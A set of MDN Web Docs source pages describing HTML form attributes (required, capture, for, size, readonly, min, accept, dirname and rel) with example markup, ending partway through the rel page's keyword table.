--- title: "HTML attribute: required" slug: Web/HTML/Attributes/required page-type: html-attribute --- {{HTMLSidebar}} The [Boolean](/en-US/docs/Glossary/Boolean/HTML) **`required`** attribute, if present, indicates that the user must specify a value for the input before the owning form can be submitted. The `required` attribute is supported by `{{HTMLElement("input/text","text")}}`, `{{HTMLElement("input/search","search")}}`, `{{HTMLElement("input/url","url")}}`, `{{HTMLElement("input/tel","tel")}}`, `{{HTMLElement("input/email","email")}}`, `{{HTMLElement("input/password","password")}}`, `{{HTMLElement("input/date","date")}}`, `{{HTMLElement("input/month","month")}}`, `{{HTMLElement("input/week","week")}}`, `{{HTMLElement("input/time","time")}}`, `{{HTMLElement("input/datetime-local","datetime-local")}}`, `{{HTMLElement("input/number","number")}}`, `{{HTMLElement("input/checkbox","checkbox")}}`, `{{HTMLElement("input/radio","radio")}}`, `{{HTMLElement("input/file","file")}}`, {{HTMLElement("input")}} types along with the {{HTMLElement("select")}} and {{HTMLElement("textarea")}} form control elements. If present on any of these input types and elements, the {{cssxref(':required')}} pseudo class will match. If the attribute is not included, the {{cssxref(':optional')}} pseudo class will match. The attribute is not supported or relevant to {{HTMLElement("input/range","range")}} and {{HTMLElement("input/color","color")}}, as both have default values. It is also not supported on {{HTMLElement("input/hidden","hidden")}} as it can not be expected that a user to fill out a form that is hidden. Nor is it supported on any of the button types, including `image`. Note `color` and `range` don't support `required` as both always have a value. Type `color` defaults to `#000000`. The default for `range` is the midpoint between `min` and `max` — with `min` and `max` defaulting to 0 and 100 respectively in most browsers if not declared. In the case of a same named group of {{HTMLElement("input/radio","radio")}} buttons, if a single radio button in the group has the `required` attribute, a radio button in that group must be checked, although it doesn't have to be the one on which the attribute is applied. To improve code maintenance, it is recommended to either include the `required` attribute in every same-named radio button in the group, or else in none. In the case of a same named group of {{HTMLElement("input/checkbox","checkbox")}} input types, only the checkboxes with the `required` attribute are required. > **Note:** Setting [`aria-required="true"`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-required) tells a screen reader that an element (any element) is required, but has no bearing on the optionality of the element. ### Attribute interactions Because a read-only field cannot have a value, `required` does not have any effect on inputs with the [`readonly`](/en-US/docs/Web/HTML/Attributes/readonly) attribute also specified. ### Usability When including the `required` attribute, provide a visible indication near the control informing the user that the {{HTMLElement("input")}}, {{HTMLElement("select")}} or {{HTMLElement("textarea")}} is required. In addition, target required form controls with the {{cssxref(':required')}} pseudo-class, styling them in a way to indicate they are required. This improves usability for sighted users. Assistive technology should inform the user that the form control is mandatory based on the required attribute, but adding `aria-required="true"` doesn't hurt, in case the browser / screen reader combination does not support `required` yet. ### Constraint validation If the element is required and the element's value is the empty string, then the element is suffering from {{domxref('ValidityState.valueMissing','valueMissing')}} and the element will match the {{cssxref(':invalid')}} pseudo class. ## Accessibility concerns Provide an indication to users informing them the form control is required. Ensure the messaging is multi-faceted, such as through text, color, markings, and attribute, so that all users understand the requirements whether they have color blindness, cognitive differences, or are using a screen reader. ## Example ### HTML ```html <form> <div class="group"> <input type="text" /> <label>Normal</label> </div> <div class="group"> <input type="text" required /> <label>Required</label> </div> <input type="submit" /> </form> ``` ### Result {{EmbedLiveSample('Example')}} ## See also - {{domxref('validityState.valueMissing')}} - {{cssxref(':required')}} and {{cssxref(':optional')}} - {{htmlelement('input')}} - {{htmlelement('select')}}
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/capture/index.md
--- title: "HTML attribute: capture" slug: Web/HTML/Attributes/capture page-type: html-attribute browser-compat: html.elements.input.capture --- {{HTMLSidebar}} The **`capture`** attribute specifies that, optionally, a new file should be captured, and which device should be used to capture that new media of a type defined by the [`accept`](accept) attribute. Values include `user` and `environment`. The capture attribute is supported on the {{HTMLElement("input/file", "file")}} input type. The `capture` attribute takes as its value a string that specifies which camera to use for capture of image or video data, if the [accept](accept) attribute indicates that the input should be of one of those types. | Value | Description | | ------------- | ---------------------------------------------------------- | | `user` | The user-facing camera and/or microphone should be used. | | `environment` | The outward-facing camera and/or microphone should be used | > **Note:** Capture was previously a Boolean attribute which, if present, requested that the device's media capture device(s) such as camera or microphone be used instead of requesting a file input. {{EmbedInteractiveExample("pages/tabbed/attribute-capture.html", "tabbed-standard")}} ## Examples When set on a file input type, operating systems with microphones and cameras will display a user interface allowing the selection from an existing file or the creating of a new one. ```html <p> <label for="soundFile">What does your voice sound like?:</label> <input type="file" id="soundFile" capture="user" accept="audio/*" /> </p> <p> <label for="videoFile">Upload a video:</label> <input type="file" id="videoFile" capture="environment" accept="video/*" /> </p> <p> <label for="imageFile">Upload a photo of yourself:</label> <input type="file" id="imageFile" capture="user" accept="image/*" /> </p> ``` {{EmbedLiveSample('Examples', '100%', 200)}} Note these work better on mobile devices; if your device is a desktop computer, you'll likely get a typical file picker. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Using files from web applications](/en-US/docs/Web/API/File_API/Using_files_from_web_applications) - [File API](/en-US/docs/Web/API/File) - {{domxref('HTMLInputElement.files')}}
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/for/index.md
--- title: "HTML attribute: for" slug: Web/HTML/Attributes/for page-type: html-attribute browser-compat: - html.elements.label.for - html.elements.output.for --- {{HTMLSidebar}} The **`for`** attribute is an allowed attribute for {{htmlelement("label")}} and {{htmlelement("output")}}. When used on a `<label>` element it indicates the form element that this label describes. When used on an `<output>` element it allows for an explicit relationship between the elements that represent values which are used in the output. {{EmbedInteractiveExample("pages/tabbed/attribute-for.html", "tabbed-shorter")}} ## Usage When used as an attribute of `<label>`, the `for` attribute has a value which is the `id` of the form element it relates to. ```html <label for="username">Your name</label> <input type="text" id="username" /> ``` When used as an attribute of `<output>`, the `for` attribute has a value which is a space separated list of the `id` values of the elements which are used to create the output. ```html <input type="range" id="b" name="b" value="50" /> + <input type="number" id="a" name="a" value="10" /> = <output name="result" for="a b">60</output> ``` ## Examples See examples of usage on the element pages for {{htmlelement("label")}} and {{htmlelement("output")}}. ## Specifications {{Specifications}} ## Browser compatibility {{Compat}}
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/size/index.md
--- title: "HTML attribute: size" slug: Web/HTML/Attributes/size page-type: html-attribute browser-compat: html.elements.attribute.size --- {{HTMLSidebar}} The **`size`** attribute defines the width of the {{htmlelement('input')}} and the height of the {{htmlelement('select')}} element. For the `input`, if the `type` attribute is {{HTMLElement("input/text", "text")}} or {{HTMLElement("input/password", "password")}} then it's the number of characters. This must be an integer value of 0 or higher. If no `size` is specified, or an invalid value is specified, the input has no size declared, and the form control will be the default width based on the user agent. If CSS targets the element with properties impacting the width, CSS takes precedence. The `size` attribute has no impact on constraint validation. {{EmbedInteractiveExample("pages/tabbed/attribute-size.html", "tabbed-standard")}} ## Examples By adding `size` on some input types, the width of the input can be controlled. Adding size on a select changes the height, defining how many options are visible in the closed state. ```html <label for="fruit">Enter a fruit</label> <input type="text" size="15" id="fruit" /> <label for="vegetable">Enter a vegetable</label> <input type="text" id="vegetable" /> <select name="fruits" size="5"> <option>banana</option> <option>cherry</option> <option>strawberry</option> <option>durian</option> <option>blueberry</option> </select> <select name="vegetables" size="5"> <option>carrot</option> <option>cucumber</option> <option>cauliflower</option> <option>celery</option> <option>collard greens</option> </select> ``` {{EmbedLiveSample('Examples', '100%', 200)}} ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [`maxlength`](/en-US/docs/Web/HTML/Attributes/maxlength) - [`minlength`](/en-US/docs/Web/HTML/Attributes/minlength) - [`pattern`](/en-US/docs/Web/HTML/Attributes/pattern)
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/readonly/index.md
--- title: "HTML attribute: readonly" slug: Web/HTML/Attributes/readonly page-type: html-attribute browser-compat: - html.elements.input.readonly - html.elements.textarea.readonly --- {{HTMLSidebar}} The Boolean **`readonly`** attribute, when present, makes the element not mutable, meaning the user can not edit the control. {{EmbedInteractiveExample("pages/tabbed/attribute-readonly.html", "tabbed-shorter")}} ## Overview If the `readonly` attribute is specified on an input element, because the user can not edit the input, the element does not participate in constraint validation. The `readonly` attribute is supported by `{{HTMLElement("input/text","text")}}`, `{{HTMLElement("input/search","search")}}`, `{{HTMLElement("input/url","url")}}`, `{{HTMLElement("input/tel","tel")}}`, `{{HTMLElement("input/email","email")}}`, `{{HTMLElement("input/password","password")}}`, `{{HTMLElement("input/date","date")}}`, `{{HTMLElement("input/month","month")}}`, `{{HTMLElement("input/week","week")}}`, `{{HTMLElement("input/time","time")}}`, `{{HTMLElement("input/datetime-local","datetime-local")}}`, and `{{HTMLElement("input/number","number")}}` {{HTMLElement("input")}} types and the {{HTMLElement("textarea")}} form control elements. If present on any of these input types and elements, the {{cssxref(':read-only')}} pseudo class will match. If the attribute is not included, the {{cssxref(':read-write')}} pseudo class will match. The attribute is not supported or relevant to {{HTMLElement("select")}} or input types that are already not mutable, such as `{{HTMLElement("input/checkbox","checkbox")}}` and `{{HTMLElement("input/radio","radio")}}` or cannot, by definition, start with a value, such as the `{{HTMLElement("input/file","file")}}` input type. `{{HTMLElement("input/range","range")}}` and `{{HTMLElement("input/color","color")}}`, as both have default values. It is also not supported on `{{HTMLElement("input/hidden","hidden")}}` as it can not be expected that a user to fill out a form that is hidden. Nor is it supported on any of the button types, including `image`. > **Note:** Only text controls can be made read-only, since for other controls (such as checkboxes and buttons) there is no useful distinction between being read-only and being disabled, so the `readonly` attribute does not apply. When an input has the `readonly` attribute, the {{cssxref(":read-only")}} pseudo-class also applies to it. Conversely, inputs that support the `readonly` attribute but don't have the attribute set match the {{cssxref(":read-write")}} pseudo-class. ### Attribute interactions The difference between [`disabled`](/en-US/docs/Web/HTML/Attributes/disabled) and `readonly` is that read-only controls can still function and are still focusable, whereas disabled controls can not receive focus and are not submitted with the form and generally do not function as controls until they are enabled. Because a read-only field cannot have its value changed by a user interaction, [`required`](/en-US/docs/Web/HTML/Attributes/required) does not have any effect on inputs with the `readonly` attribute also specified. The only way to modify dynamically the value of the readonly attribute is through a script. > **Note:** The `required` attribute is not permitted on inputs with the `readonly` attribute specified. ### Usability Browsers display the `readonly` attribute. ### Constraint validation If the element is read-only, then the element's value can not be updated by the user, and does not participate in constraint validation. ## Example ### HTML ```html <div class="group"> <input type="text" value="Some value" readonly="readonly" id="text" /> <label for="text">Text box</label> </div> <div class="group"> <input type="date" value="2020-01-01" readonly="readonly" id="date" /> <label for="date">Date</label> </div> <div class="group"> <input type="email" value="Some value" readonly="readonly" id="email" /> <label for="email">Email</label> </div> <div class="group"> <input type="password" value="Some value" readonly="readonly" id="pwd" /> <label for="pwd">Password</label> </div> <div class="group"> <textarea readonly="readonly" id="ta">Some value</textarea> <label for="ta">Message</label> </div> ``` ### Result {{EmbedLiveSample('Example')}} ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - {{cssxref(':read-only')}} and {{cssxref(':read-write')}} - {{htmlelement('input')}} - {{htmlelement('select')}}
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/min/index.md
--- title: "HTML attribute: min" slug: Web/HTML/Attributes/min page-type: html-attribute browser-compat: - html.elements.input.min - html.elements.meter.min --- {{HTMLSidebar}} The **`min`** attribute defines the minimum value that is acceptable and valid for the input containing the attribute. If the [`value`](/en-US/docs/Web/HTML/Element/input#value) of the element is less than this, the element fails [validation](/en-US/docs/Learn/Forms/Form_validation). This value must be less than or equal to the value of the `max` attribute. Some input types have a default minimum. If the input has no default minimum and a value is specified for `min` that can't be converted to a valid number (or no minimum value is set), the input has no minimum value. It is valid for the input types including: {{HTMLElement("input/date", "date")}}, {{HTMLElement("input/month", "month")}}, {{HTMLElement("input/week", "week")}}, {{HTMLElement("input/time", "time")}}, {{HTMLElement("input/datetime-local", "datetime-local")}}, {{HTMLElement("input/number", "number")}} and {{HTMLElement("input/range", "range")}} types, and the {{htmlelement('meter')}} element. ### Syntax <table class="no-markdown"> <caption> Syntax for <code>min</code> values by input <code>type</code> </caption> <thead> <tr> <th>Input type</th> <th>Syntax</th> <th>Example</th> </tr> </thead> <tbody> <tr> <td>{{HTMLElement("input/date", "date")}}</td> <td><code>yyyy-mm-dd</code></td> <td><code>&#x3C;input type="date" min="2019-12-25" step="1"></code></td> </tr> <tr> <td>{{HTMLElement("input/month", "month")}}</td> <td><code>yyyy-mm</code></td> <td><code>&#x3C;input type="month" min="2019-12" step="12"></code></td> </tr> <tr> <td>{{HTMLElement("input/week", "week")}}</td> <td><code>yyyy-W##</code></td> <td><code>&#x3C;input type="week" min="2019-W23" step=""></code></td> </tr> <tr> <td>{{HTMLElement("input/time", "time")}}</td> <td><code>hh:mm</code></td> <td><code>&#x3C;input type="time" min="09:00" step="900"></code></td> </tr> <tr> <td> {{HTMLElement("input/datetime-local", "datetime-local")}} </td> <td><code>yyyy-mm-ddThh:mm</code></td> <td> <code>&#x3C;input type="datetime-local" min="2019-12-25T19:30"></code> </td> </tr> <tr> <td>{{HTMLElement("input/number", "number")}}</td> <td><a href="/en-US/docs/Web/CSS/number">&#x3C;number></a></td> <td> <code>&#x3C;input type="number" min="0" step="5" max="100"></code> </td> </tr> <tr> <td>{{HTMLElement("input/range", "range")}}</td> <td><a href="/en-US/docs/Web/CSS/number">&#x3C;number></a></td> <td> <code>&#x3C;input type="range" min="60" step="5" max="100"></code> </td> </tr> </tbody> </table> > **Note:** When the data entered by the user doesn't adhere to the min value set, the value is considered invalid in constraint validation and will match the {{cssxref(':invalid')}} and {{cssxref(':out-of-range')}} pseudo-classes. See [Client-side validation](/en-US/docs/Web/HTML/Constraint_validation) and {{domxref("ValidityState.rangeUnderflow", "rangeUnderflow")}} for more information. For the {{htmlelement('meter')}} element, the `min` attribute defines the lower numeric bound of the measured range. This must be less than the minimum value ([`max`](/en-US/docs/Web/HTML/Attributes/max) attribute), if specified. In both cases, if omitted, the value defaults to 1. <table class="no-markdown"> <caption> Syntax for <code>min</code> values for other elements </caption> <thead> <tr> <th>Input type</th> <th>Syntax</th> <th>Example</th> </tr> </thead> <tbody> <tr> <td>{{HTMLElement("meter")}}</td> <td><a href="/en-US/docs/Web/CSS/number">&#x3C;number></a></td> <td> <code >&#x3C;meter id="fuel" min="0" max="100" low="33" high="66" optimum="80" value="40"> at 40/100&#x3C;/meter></code > </td> </tr> </tbody> </table> ### Impact on step The value of `min` and `step` define what are valid values, even if the `step` attribute is not included, as `step` defaults to `0`. We add a big red border around invalid inputs: ```css input:invalid { border: solid red 3px; } ``` Then define an input with a minimum value of 7.2, omitting the step attribute, wherein it defaults to 1. ```html <input id="myNumber" name="myNumber" type="number" min="7.2" value="8" /> ``` Because `step` defaults to 1, valid values include `7.2`, `8.2`, `9.2`, and so on. The value 8 is not valid. As we included an invalid value, supporting browsers will show the value as invalid. {{EmbedLiveSample("Impact_on_step",200,55)}} If not explicitly included, `step` defaults to 1 for `number` and `range`, and 1 unit type (second, week, month, day) for the date/time input types. ## Accessibility concerns Provide instructions to help users understand how to complete the form and use individual form controls. Indicate any required and optional input, data formats, and other relevant information. When using the `min` attribute, ensure this minimum requirement is understood by the user. Providing instructions within the {{htmlelement('label')}} may be sufficient. If providing instructions outside of labels, which allows more flexible positioning and design, consider using [`aria-labelledby`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-labelledby) or [`aria-describedby`](/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-describedby). ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [`step`](/en-US/docs/Web/HTML/Attributes/step) - [`max`](/en-US/docs/Web/HTML/Attributes/max) - other meter attributes: [`low`](/en-US/docs/Web/HTML/Attributes/low), [`high`](/en-US/docs/Web/HTML/Attributes/high), [`optimum`](/en-US/docs/Web/HTML/Attributes/optimum) - [Constraint validation](/en-US/docs/Web/HTML/Constraint_validation) - [Form validation](/en-US/docs/Learn/Forms/Form_validation) - {{domxref('validityState.rangeUnderflow')}} - {{cssxref(':out-of-range')}} - {{htmlelement('input')}} - {{HTMLElement("input/date", "date")}}, {{HTMLElement("input/month", "month")}}, {{HTMLElement("input/week", "week")}}, {{HTMLElement("input/time", "time")}}, {{HTMLElement("input/datetime-local", "datetime-local")}}, {{HTMLElement("input/number", "number")}} and {{HTMLElement("input/range", "range")}} types, and the {{htmlelement('meter')}}
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/accept/index.md
--- title: "HTML attribute: accept" slug: Web/HTML/Attributes/accept page-type: html-attribute browser-compat: html.elements.input.accept --- {{HTMLSidebar}} The **`accept`** attribute takes as its value a comma-separated list of one or more file types, or [unique file type specifiers](#unique_file_type_specifiers), describing which file types to allow. {{EmbedInteractiveExample("pages/tabbed/attribute-accept.html", "tabbed-shorter")}} ## Overview The accept property is an attribute of the {{HTMLElement("input/file", "file")}} {{htmlelement("input")}} type. It was supported on the {{htmlelement("form")}} element, but was removed in favor of {{HTMLElement("input/file", "file")}}. Because a given file type may be identified in more than one manner, it's useful to provide a thorough set of type specifiers when you need files of specific type, or use the wild card to denote a type of any format is acceptable. For instance, there are a number of ways Microsoft Word files can be identified, so a site that accepts Word files might use an `<input>` like this: ```html <input type="file" id="docpicker" accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document" /> ``` Whereas if you're accepting a media file, you may want to be include any format of that media type: ```html <input type="file" id="soundFile" accept="audio/*" /> <input type="file" id="videoFile" accept="video/*" /> <input type="file" id="imageFile" accept="image/*" /> ``` The `accept` attribute doesn't validate the types of the selected files; it provides hints for browsers to guide users towards selecting the correct file types. It is still possible (in most cases) for users to toggle an option in the file chooser that makes it possible to override this and select any file they wish, and then choose incorrect file types. Because of this, you should make sure that expected requirement is validated server-side. ## Examples When set on a file input type, the native file picker that opens up should only enable selecting files of the correct file type. Most operating systems lighten the files that don't match the criteria and aren't selectable. ```html <p> <label for="soundFile">Select an audio file:</label> <input type="file" id="soundFile" accept="audio/*" /> </p> <p> <label for="videoFile">Select a video file:</label> <input type="file" id="videoFile" accept="video/*" /> </p> <p> <label for="imageFile">Select some images:</label> <input type="file" id="imageFile" accept="image/*" multiple /> </p> ``` {{EmbedLiveSample('Examples', '100%', 200)}} Note the last example allows you to select multiple images. See the [`multiple`](multiple) attribute for more information. ## Unique file type specifiers A **unique file type specifier** is a string that describes a type of file that may be selected by the user in an {{HTMLElement("input")}} element of type `file`. Each unique file type specifier may take one of the following forms: - A valid case-insensitive filename extension, starting with a period (".") character. For example: `.jpg`, `.pdf`, or `.doc`. - A valid MIME type string, with no extensions. - The string `audio/*` meaning "any audio file". - The string `video/*` meaning "any video file". - The string `image/*` meaning "any image file". The `accept` attribute takes as its value a string containing one or more of these unique file type specifiers, separated by commas. For example, a file picker that needs content that can be presented as an image, including both standard image formats and PDF files, might look like this: ```html <input type="file" accept="image/*,.pdf" /> ``` ## Using file inputs ### A basic example ```html <form method="post" enctype="multipart/form-data"> <div> <label for="file">Choose file to upload</label> <input type="file" id="file" name="file" multiple /> </div> <div> <button>Submit</button> </div> </form> ``` ```css hidden div { margin-bottom: 10px; } ``` This produces the following output: {{EmbedLiveSample('A_basic_example', 650, 60)}} > **Note:** You can find this example on GitHub too — see the [source code](https://github.com/mdn/learning-area/blob/main/html/forms/file-examples/simple-file.html), and also [see it running live](https://mdn.github.io/learning-area/html/forms/file-examples/simple-file.html). Regardless of the user's device or operating system, the file input provides a button that opens up a file picker dialog that allows the user to choose a file. Including the [`multiple`](multiple) attribute, as shown above, specifies that multiple files can be chosen at once. The user can choose multiple files from the file picker in any way that their chosen platform allows (e.g. by holding down <kbd>Shift</kbd> or <kbd>Control</kbd>, and then clicking). If you only want the user to choose a single file per `<input>`, omit the `multiple` attribute. ### Limiting accepted file types Often you won't want the user to be able to pick any arbitrary type of file; instead, you often want them to select files of a specific type or types. For example, if your file input lets users upload a profile picture, you probably want them to select web-compatible image formats, such as {{Glossary("JPEG")}} or {{Glossary("PNG")}}. Acceptable file types can be specified with the [`accept`](/en-US/docs/Web/HTML/Element/input/file#accept) attribute, which takes a comma-separated list of allowed file extensions or MIME types. Some examples: - `accept="image/png"` or `accept=".png"` — Accepts PNG files. - `accept="image/png, image/jpeg"` or `accept=".png, .jpg, .jpeg"` — Accept PNG or JPEG files. - `accept="image/*"` — Accept any file with an `image/*` MIME type. (Many mobile devices also let the user take a picture with the camera when this is used.) - `accept=".doc,.docx,.xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"` — accept anything that smells like an MS Word document. Let's look at a more complete example: ```html <form method="post" enctype="multipart/form-data"> <div> <label for="profile_pic">Choose file to upload</label> <input type="file" id="profile_pic" name="profile_pic" accept=".jpg, .jpeg, .png" /> </div> <div> <button>Submit</button> </div> </form> ``` ```css hidden div { margin-bottom: 10px; } ``` {{EmbedLiveSample('Limiting_accepted_file_types', 650, 60)}} ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [Using files from web applications](/en-US/docs/Web/API/File_API/Using_files_from_web_applications) - [File API](/en-US/docs/Web/API/File)
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/dirname/index.md
--- title: "HTML attribute: dirname" slug: Web/HTML/Attributes/dirname page-type: html-attribute browser-compat: - html.elements.textarea.dirname - html.elements.input.dirname --- {{HTMLSidebar}} The **`dirname`** attribute can be used on {{htmlelement("textarea")}} and {{htmlelement("input")}} elements and describes the directionality of the element's text content during form submission. The browser uses this attribute's value to determine whether text the user has entered is left-to-right or right-to-left oriented. When used, the element's text directionality value is included in form submission data along with the `dirname` attribute's value as the name of the field. ## Usage notes The `dirname` attribute can be used on any {{htmlelement("textarea")}} element, or any {{htmlelement("input")}} element with {{htmlelement("input/text", "text")}}, {{htmlelement("input/search", "search")}}, {{htmlelement("input/tel", "tel")}}, {{htmlelement("input/url", "url")}}, or {{htmlelement("input/email", "email")}} type. The format of the submitted data is `{dirname_value}={direction}` where `{dirname_value}` is the value of the `dirname` attribute and `{direction}` is the directionality of the text. For example, if the user enters "Hello" in an element with the attributes `name="comment"` and `dirname="comment-direction"`, the URL-encoded form submission data for `GET` requests will be `comment=Hello&comment-direction=ltr`. The directionality is one of the following: - `rtl` - : The text entered by the user is in a right-to-left writing direction. - `ltr` - : The text entered by the user is in a left-to-right writing direction. If no text directionality is specified, the user agent will use the directionality of the parent element containing the form, and if that is not specified, the default directionality of the user agent. ## Examples ### Textarea element directionality In this example, the `dir="auto"` attribute on the textarea element allows the text directionality to be determined automatically based on the text entered by the user: ```html <form method="get" action="https://www.example.com/submit"> <textarea name="comment" dir="auto" dirname="comment-direction">سيب</textarea> <button type="submit">Send my greetings</button> </form> ``` When the user submits the form, the user agent includes two fields, one called `comment` with the value "سيب", and one called `comment-direction` with the value "rtl". The URL-encoded submission body looks like this: ```url https://www.example.com/submit?comment=%D8%B3%D9%8A%D8%A8&comment-direction=rtl ``` ### Input element directionality In this example, the `dir="auto"` attribute on the input element allows the text directionality to be determined automatically based on the text entered by the user: ```html <form method="get" action="https://www.example.com/submit"> <input type="text" name="comment-input" dir="auto" dirname="comment-direction" value="Hello" /> <button type="submit">Send my greetings</button> </form> ``` When the user submits the form, the user agent includes two fields, one called `comment-input` with the value "Hello", and one called `comment-direction` with the value "ltr": ```url https://www.example.com/submit?comment-input=Hello&comment-direction=ltr ``` ### Inheriting directionality The following `<input>` and `<textarea>` elements do not have a `dir` attribute, so they inherit the explicit directionality of their parent element, which is `rtl`: ```html <div dir="rtl"> <form method="get" action="https://www.example.com/submit"> <input type="text" name="user" dirname="user-direction" value="LTR Username" /> <textarea name="comment" dirname="comment-direction">LTR Comment</textarea> <button type="submit">Post Comment</button> </form> </div> ``` The URL-encoded submission body looks like this: ```url https://www.example.com/submit?user=LTR+Username&user-direction=rtl&comment=LTR+Comment&comment-direction=rtl ``` ## Specifications {{Specifications}} ## Browser compatibility {{Compat}} ## See also - [`dir` attribute](/en-US/docs/Web/HTML/Global_attributes/dir) - {{htmlelement("input")}} - {{htmlelement("textarea")}}
0
data/mdn-content/files/en-us/web/html/attributes
data/mdn-content/files/en-us/web/html/attributes/rel/index.md
--- title: "HTML attribute: rel" slug: Web/HTML/Attributes/rel page-type: html-attribute browser-compat: - html.elements.link.rel - html.elements.a.rel - html.elements.area.rel --- {{HTMLSidebar}} The **`rel`** attribute defines the relationship between a linked resource and the current document. Valid on {{htmlelement('link')}}, {{htmlelement('a')}}, {{htmlelement('area')}}, and {{htmlelement('form')}}, the supported values depend on the element on which the attribute is found. The type of relationships is given by the value of the `rel` attribute, which, if present, must have a value that is an unordered set of unique space-separated keywords. Differently from a `class` name, which does not express semantics, the `rel` attribute must express tokens that are semantically valid for both machines and humans. The current registries for the possible values of the `rel` attribute are the [IANA link relation registry](https://www.iana.org/assignments/link-relations/link-relations.xhtml), the [HTML Living Standard](https://html.spec.whatwg.org/multipage/links.html#linkTypes), and the freely-editable [existing-rel-values page](https://microformats.org/wiki/existing-rel-values) in the microformats wiki, [as suggested](https://html.spec.whatwg.org/multipage/links.html#other-link-types) by the Living Standard. If a `rel` attribute not present in one of the three sources above is used some HTML validators (such as the [W3C Markup Validation Service](https://validator.w3.org/)) will generate a warning. The following table lists some of the most important existing keywords. Every keyword within a space-separated value should be unique within that value. | `rel` value | Description | {{htmlelement('link')}} | {{htmlelement('a')}} and {{htmlelement('area')}} | {{htmlelement('form')}} | | -------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------- | ------------------------------------------------ | ----------------------- | | [`alternate`](#alternate) | Alternate representations of the current document. | Link | Link | Not allowed | | [`author`](#author) | Author of the current document or article. | Link | Link | Not allowed | | [`bookmark`](#bookmark) | Permalink for the nearest ancestor section. | Not allowed | Link | Not allowed | | [`canonical`](#canonical) | Preferred URL for the current document. | Link | Not allowed | Not allowed | | [`dns-prefetch`](/en-US/docs/Web/HTML/Attributes/rel/dns-prefetch) | Tells the browser to preemptively perform DNS resolution for the target resource's origin. | External Resource | Not allowed | Not allowed | | [`external`](#external) | The referenced document is not part of the same site as the current document. | Not allowed | Annotation | Annotation | | [`help`](#help) | Link to context-sensitive help. | Link | Link | Link | | [`icon`](#icon) | An icon representing the current document. | External Resource | Not allowed | Not allowed | | [`license`](#license) | Indicates that the main content of the current document is covered by the copyright license described by the referenced document. | Link | Link | Link | | [`manifest`](/en-US/docs/Web/HTML/Attributes/rel/manifest) | Web app manifest. | Link | Not allowed | Not allowed | | [`me`](/en-US/docs/Web/HTML/Attributes/rel/me) | Indicates that the current document represents the person who owns the linked content. | Link | Link | Not allowed | | [`modulepreload`](/en-US/docs/Web/HTML/Attributes/rel/modulepreload) | Tells to browser to preemptively fetch the script and store it in the document's module map for later evaluation. Optionally, the module's dependencies can be fetched as well. | External Resource | Not allowed | Not allowed | | [`next`](#next) | Indicates that the current document is a part of a series and that the next document in the series is the referenced document. | Link | Link | Link | | [`nofollow`](#nofollow) | Indicates that the current document's original author or publisher does not endorse the referenced document. | Not allowed | Annotation | Annotation | | [`noopener`](/en-US/docs/Web/HTML/Attributes/rel/noopener) | Creates a top-level browsing context that is not an auxiliary browsing context if the hyperlink would create either of those, to begin with (i.e., has an appropriate `target` attribute value). | Not allowed | Annotation | Annotation | | [`noreferrer`](/en-US/docs/Web/HTML/Attributes/rel/noreferrer) | No `Referer` header will be included. Additionally, has the same effect as `noopener`. | Not allowed | Annotation | Annotation | | [`opener`](#opener) | Creates an auxiliary browsing context if the hyperlink would otherwise create a top-level browsing context that is not an auxiliary browsing context (i.e., has "`_blank`" as `target` attribute value). | Not allowed | Annotation | Annotation | | [`pingback`](#pingback) | Gives the address of the pingback server that handles pingbacks to the current document. | External Resource | Not allowed | Not allowed | | [`preconnect`](/en-US/docs/Web/HTML/Attributes/rel/preconnect) | Specifies that the user agent should preemptively connect to the target resource's origin. | External Resource | Not allowed | Not allowed | | [`prefetch`](/en-US/docs/Web/HTML/Attributes/rel/prefetch) | Specifies that the user agent should preemptively fetch and cache the target resource as it is likely to be required for a followup navigation. | External Resource | Not allowed | Not allowed | | [`preload`](/en-US/docs/Web/HTML/Attributes/rel/preload) | Specifies that the user agent must preemptively fetch and cache the target resource for current navigation according to the potential destination given by the [`as`](/en-US/docs/Web/HTML/Element/link#as) attribute (and the priority associated with the corresponding destination). | External Resource | Not allowed | Not allowed | | [`prerender`](/en-US/docs/Web/HTML/Attributes/rel/prerender) | Specifies that the user agent should preemptively fetch the target resource and process it in a way that helps deliver a faster response in the future. | External Resource | Not allowed | Not allowed | | [`prev`](#prev) | Indicates that the current document is a part of a series and that the previous document in the series is the referenced document. | Link | Link | Link | | [`privacy-policy`](#privacy-policy) | Gives a link to a information about the data collection and usage practices that apply to the current document. | Link | Link | Not allowed | | [`search`](#search) | Gives a link to a resource that can be used to search through the current document and its related pages. | Link | Link | Link | | [`stylesheet`](#stylesheet) | Imports a style sheet. | External Resource | Not allowed | Not allowed | | [`tag`](#tag) | Gives a tag (identified by the given address) that applies to the current document. | Not allowed | Link | Not allowed | | [`terms-of-service`](#terms-of-service) | Link to the agreement, or terms of service, between the document's provider and users who wish to use the document. | Link | Link | Not allowed | The `rel` attribute is relevant to the {{htmlelement('link')}}, {{htmlelement('a')}}, {{htmlelement('area')}}, and {{htmlelement('form')}} elements, but some values only relevant to a subset of those elements. Like all HTML keyword attribute values, these values are case-insensitive. The `rel` attribute has no default value. If the attribute is omitted or if none of the values in the attribute are supported, then the document has no particular relationship with the destination resource other than there being a hyperlink between the two. In this case, on {{htmlelement('link')}} and {{htmlelement('form')}}, if the `rel` attribute is absent, has no keywords, or if not one or more of the space-separated keywords above, then the element 